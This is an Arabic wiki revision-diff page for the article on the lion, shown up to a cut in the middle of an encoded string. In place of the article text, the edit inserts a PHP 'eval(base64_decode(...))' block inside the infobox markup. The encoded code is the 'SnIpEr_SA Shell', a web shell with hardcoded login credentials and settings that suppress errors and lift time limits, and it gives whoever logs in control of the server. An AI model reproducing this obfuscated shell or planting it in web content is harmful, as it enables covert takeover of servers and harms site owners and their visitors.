الفرق بين المراجعتين لصفحة: «الاسد»

أُزيل 283٬023 بايت ،  قبل 14 سنة
ط
لا يوجد ملخص تحرير
لا ملخص تعديل
imported>Mafia mafia
طلا ملخص تعديل
سطر 1:
{| border=1 align=left cellpadding=4 cellspacing=2 width=200 style="margin: 0.5em 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 75%; clear:right"
<?
|+<big>'''الأسد'''</big>
eval(base64_decode('IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgICAgICAgICAgICAgICAgICAgICAgICBzbmlwZXJfc2EgICAgICAgICAgICAgICAgICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KJHRhY2ZnZFsndW5hbWUnXSA9ICdjcmF6eSc7DQokdGFjZmdkWydwd29yZCddID0gJ2NyYXp5JzsNCiR0YWNmZ2RbJ3RpdGxlJ10gPSAnU25JcEVyX1NBIFNoZWxsJzsNCiR0YWNmZ2RbJ2hlbHB0ZXh0J10gPSAnVG8gcHJvY2VlZCwgcGxlYXNlIGxvZyBpbiB1c2luZyB0aGUgZm9ybSBiZWxvdyc7DQokdGFjZmdkWydhbGxvd3JtJ10gPSB0cnVlOw0KJHRhY2ZnZFsncm1ncm91cCddID0gJ2RlZmF1bHQnOw0KJHRhY2ZnZFsnb3duc2Vzc2lvbnMnXSA9IGZhbHNlOw0KZm9yZWFjaCAoJHRhY2ZnZCBhcyAka2V5ID0+ICR2YWwpIHsNCiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOw0KfQ0KDQppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICBzZXNzaW9uX25hbWUoJ3R4dGF1dGgnKTsNCiAgc2Vzc2lvbl9zdGFydCgpOw0KfQ0KDQovLyBMb2dvdXQgYXR0ZW1wdCBtYWRlLiBEZWxldGVzIGFueSByZW1lbWJlci1tZSBjb29raWUgYXMgd2VsbA0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsICcnLCB0aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICAgICRfU0VTU0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZSAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQovLyBMb2dpbiBhdHRlbXB0IG1hZGUNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgew0KICBpZiAoJF9QT1NUWyd1bmFtZSddID09ICR0YWNmZ1sndW5hbWUnXSAmJiAkX1BPU1RbJ3B3b3JkJ10gPT0gJHRhY2ZnWydwd29yZCddKSB7DQogICAgJF9TRVNTSU9OWyd0eHRhdXRoaW4nXSA9IHRydWU7DQogICAgaWYgKCRfUE9TVFsncm0nXSkgew0KICAgICAgLy8gU2V0IHJlbWVtYmVyLW1lIGNvb2tpZSBmb3IgMiB3ZWVrcw0KICAgICAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsIG1kNSgkdGFjZmdbJ3VuYW1lJ10uJHRhY2ZnWydwd29yZCddKSwgdGltZSgpKzg2NDAwKjE0KTsNCiAgICB9DQogIH0NCiAgZWxzZSAkZXJyID0gJ87Yx8Eg3e0gx9PjIMfh49PKzs/jIMfmIN/h4+Ugx+Hj0ebRJzsNCn0NCi8vIFJlbWVtYmVyLW1lIGNvb2tpZSBleGlzdHMNCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQnXSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbGxvd3JtJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRlcnIgPSAn08zhIM/O5uEg49HlIMfO0ewnOw0KfQ0KaWYgKCEkX1NFU1NJT05bJ3R4dGF1dGhpbiddKSB7DQo/Pg0KPGh0bWw+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPGhlYWQ+DQo8dGl0bGU+PD89JHRhY2ZnWyd0aXRsZSddPz48L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRkIHsNCkJPUkRFUi1SSUdIVDogICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMDAwMDAgMSBzb2xpZDsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KLmdyZXkgew0KQk9SREVSOiAxOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50eHRib3ggew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogIzk5MDAwMDsNCn0NCkJPRFkgew0KY29sb3I6ICNjY2NjY2M7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+DQo8cD4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3MoJGFjdGlvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlvbiA9IHN0cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0eHRhdXRoIiBhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iIzMzMzMzMyIgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJvcmRlcjogI2RlZGVkZSAxcHggZG91YmxlOyI+DQo8Pz0oaXNzZXQoJGVycikpPyc8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJyZWQiPicuJGVyci4nPC9mb250PjwvdGQ+PC90cj4nOicnPz4NCjw/aWYgKGlzc2V0KCR0YWNmZ1sndW5hbWUnXSkpIHs/Pg0KPHRyPjx0ZD7D0+Mgx+Hj08rOz+M6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPt/h4+Ugx+HT0To8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InB3b3JkIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/aWYgKCR0YWNmZ1snYWxsb3dybSddKSB7Pz4NCjx0cj48dGQgYWxpZ249ImxlZnQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iIM/O5uEiPg0KPC90ZD48dGQgYWxpZ249InJpZ2h0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJtIiBpZD0icm0iPjxsYWJlbCBmb3I9InJtIj7H4c/O5uEgx+HK4d7Hxu08L2xhYmVsPjwvdGQ+PC90cj4NCjw/fSBlbHNlIHs/Pg0KPHRyPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJsb2dpbiIgdmFsdWU9IiDPzubhICI+PC90ZD48L3RyPg0KPD99Pz4NCjx0cj48dGQ+w9PjIMfh4+be2jo8L3RkPjx0ZD48PyBlY2hvIHdzKDMpLiI8Yj4gIi4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uIjwvYj48YnIvPiI7DQplY2hvICI8L2I+PC9mb250PiI7DQoNCj8+PC90ZD48L3RyPg0KPHRyPjx0ZD7D7SDI7SDH4dPt0d3ROjwvdGQ+PHRkPjw/IGVjaG8gd3MoMykuIjxiPiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9iPjxici8+IjsNCmVjaG8gIjwvYj48L2ZvbnQ+IjsNCg0KPz48L3RkPjwvdHI+DQo8dHI+PHRkPsPtIMjtIMzlx9LfOjwvdGQ+PHRkPjw/IGVjaG8gd3MoMykuIjxiPiAiLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2I+PGJyLz4iOw0KZWNobyAiPC9iPjwvZm9udD4iOw0KDQo/PjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KPGJyPjxicj48YnI+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+PGRpdiBjbGFzcz0ic21hbGx0eHQiIGFsaWduPSJjZW50ZXIiPnBvd2VyZWQgYnkgPGEgaHJlZj0iaHR0cDovL3NuaXBlci1zYS5jb20iPlNuSXBFcl9TQTwvYT4gJm1pZGRvdDsgY29weXJpZ2h0ICZjb3B5OyAyMDA3LCBTbklwRXJfU0E8L2Rpdj4NCg0KPC9ib2R5Pg0KPC9odG1sPg0KPD8NCiAgLy8gRG9uJ3QgZGVsZXRlIHRoaXMhDQogIGV4aXQoKTsNCn0NCj8+DQrD0+Mgx+Hj08rOz+M6ICg8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSddOyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9MSI+ytPM7eEgx+HO0ebMPC9hPjwvcD4NCjxkaXYgYWxpZ249InJpZ2h0Ij4NCjw/cGhwDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KLyp+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+Ki8NCi8qICAoYylvZGVkIGJ5IFNuSXBFcl9TQQ0KLyogIE1BSUwgaHR0cDovL3NuaXBlci1zYS5jb20gLCBodHRwOi8vc25pcGVyLXNhLmNvbQ0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCi8qIH5+fiDH4c7tx9HHyiB8IE9wdGlvbnMgIH5+fiAqLw0KLy8gx+Hh28kgfCBMYW5ndWFnZQ0KLy8gJGxhbmd1YWdlPSdlbmcnIC0gZW5nbGlzaCAoZW5nbGlzaCkNCi8vICRsYW5ndWFnZT0nYXInIC0gYXJhYmkgKGFyYWJpKQ0KJGxhbmd1YWdlPSdhcic7DQovLyA/Pz8/Pz8/Pz8/Pz8/PyB8IEF1dGhlbnRpZmljYXRpb24NCi8vICRhdXRoID0gMTsgLSDhyt3a7eEgx+HPzubhIMjf4ePlIMfh49Hm0SAgKCBhdXRoZW50aWZpY2F0aW9uID0gT24gICkNCi8vICRhdXRoID0gMDsgLSDhx+3ex90gx+HPzubhIMjf4ePJIMfh49Hm0SAoIGF1dGhlbnRpZmljYXRpb24gPSBPZmYgKQ0KJGF1dGggPSAwOw0KLy8g4c/O5uEgyN/h48kg49Hm0SDmx9PjIOPTys7P4yAoTG9naW4gJiBQYXNzd29yZCBmb3IgYWNjZXNzKQ0KLy8g4c3jx+3JIMfh09/RyMog4+Qgz87m4SDb7dHfINvt0SDH4crH4e0hISEgKENIQU5HRSBUSElTISEhKQ0KLy8g5eTHIObW2t8g3+Hj5SDH4ePR5tEg5uXtIOPU3dHlIMjV7dvlIG1kNSwg5t/h48naIMfh49Hm0SDl5Mcg5e0gICdzbmlwZXInDQovLyDK08ra2O3aIMfkIMrU3dEg3+HjySDj0ebR3yDmx9PjIMfh49PKzs/jIMjV7dvJIG1kNSDm5tba5ccg3e0gx+HOx+THyiDH4crH4e3lDQokbmFtZT0nMWMyNzY4MDEzM2I3ODFjYWRkMDM3ZThhNmRjYzAwMWInOyAvLyDH0+Mgx+Hj08rOz+MgICh1c2VyIGxvZ2luKQ0KJHBhc3M9JzFjMjc2ODAxMzNiNzgxY2FkZDAzN2U4YTZkY2MwMDFiJzsgLy8g3+HjySDH4ePR5tEgKHVzZXIgcGFzc3dvcmQpDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQplY2hvICIiLmh0bWxzcGVjaWFsY2hhcnMoJGNvcHkpLiIiOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KJHZlcnNpb24gPSAnMS4zMSc7DQppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCAnNC4xLjAnKSA9PSAtMSkNCiB7DQogJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KICRfR0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KICRfQ09PS0lFID0gJiRIVFRQX0NPT0tJRV9WQVJTOw0KIH0NCmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCiB7DQogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCiAgew0KICAkX1BPU1RbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikNCiAgew0KICAkX0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9DQogfQ0KDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09IlNuSXBFcl9TQSBzaGVsbCInKTsNCiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgZXhpdCgiPGI+PGEgaHJlZj1odHRwOi8vc25pcGVyLXNhLmNvbT5TbklwRXJfU0E8L2E+IDogQWNjZXNzIERlbmllZDwvYj4iKTsNCiAgIH0NCn0NCiRoZWFkID0gJzwhLS0gU25JcEVyX1NBIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImFyLXNhIj4NCjxtZXRhIG5hbWU9IkdFTkVSQVRPUiIgY29udGVudD0iTWljcm9zb2Z0IEZyb250UGFnZSA2LjAiPg0KPG1ldGEgbmFtZT0iUHJvZ0lkIiBjb250ZW50PSJGcm9udFBhZ2UuRWRpdG9yLkRvY3VtZW50Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NiI+DQo8dGl0bGU+U25JcEVyX1NBIHNoZWxsPC90aXRsZT4NCg0KDQoNCjxTVFlMRT4NCg0KQk9EWQ0KIHsNCiAgICAgICAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6ICMwMDAwMDA7IFNDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICMwMDAwMDA7IFNDUk9MTEJBUi1TSEFET1ctQ09MT1I6ICMwMDAwMDA7IENPTE9SOiAjZmZmZmZmOyBTQ1JPTExCQVItM0RMSUdIVC1DT0xPUjogIzcyNjQ1NjsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItVFJBQ0stQ09MT1I6ICMyOTI5Mjk7IEZPTlQtRkFNSUxZOiBWZXJkYW5hOyBTQ1JPTExCQVItREFSS1NIQURPVy1DT0xPUjogIzcyNjQ1Ng0KfQ0KDQp0ciB7DQpCT1JERVItUklHSFQ6ICAjY2NjY2NjIDsNCkJPUkRFUi1UT1A6ICAgICNjY2NjY2MgOw0KQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyA7DQpCT1JERVItQk9UVE9NOiAjY2NjY2NjIDsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI2NjY2NjYyA7DQpCT1JERVItVE9QOiAgICAjY2NjY2NjIDsNCkJPUkRFUi1MRUZUOiAgICNjY2NjY2MgOw0KQk9SREVSLUJPVFRPTTogI2NjY2NjYyA7DQpjb2xvcjogI2NjY2NjYzsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAxOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KLnRkMSB7DQpCT1JERVI6IDE7DQpmb250OiA3cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KZm9udDogOXB0IHRhaG9tYTsNCmNvbG9yOiAjQ0NDQ0NDOzsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMSBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMjcyNzI3Ow0Kd2lkdGg6IDQwJTsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICNjY2NjY2M7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+DQo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPg0KZnVuY3Rpb24gaGlkZV9kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOw0KfQ0KZnVuY3Rpb24gc2hvd19kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdibG9ja1wnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsNCn0NCmZ1bmN0aW9uIGNoYW5nZV9kaXZzdChpZCkNCnsNCiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQ0KICAgIHNob3dfZGl2KGlkKTsNCiAgZWxzZQ0KICAgIGhpZGVfZGl2KGlkKTsNCn0NCjwvc2NyaXB0Pic7DQpjbGFzcyB6aXBmaWxlDQp7DQogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KICAgICAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgew0KICAgICAgICAgICAgJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5WydtZGF5J10gICAgPSAxOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7DQogICAgICAgICAgICAkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApDQogICAgew0KICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCiAgICAgICAgJGR0aW1lICAgID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCiAgICAgICAgJGhleGR0aW1lID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCiAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCiAgICAgICAgJGZyICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQogICAgICAgICRmciAgIC49ICJceDE0XHgwMCI7DQogICAgICAgICRmciAgIC49ICJceDAwXHgwMCI7DQogICAgICAgICRmciAgIC49ICJceDA4XHgwMCI7DQogICAgICAgICRmciAgIC49ICRoZXhkdGltZTsNCiAgICAgICAgJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0KICAgICAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsNCiAgICAgICAgJHpkYXRhICAgPSBnemNvbXByZXNzKCRkYXRhKTsNCiAgICAgICAgJHpkYXRhICAgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQogICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY3JjKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjX2xlbik7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIDApOw0KICAgICAgICAkZnIgICAgICAuPSAkbmFtZTsNCiAgICAgICAgJGZyIC49ICR6ZGF0YTsNCiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KICA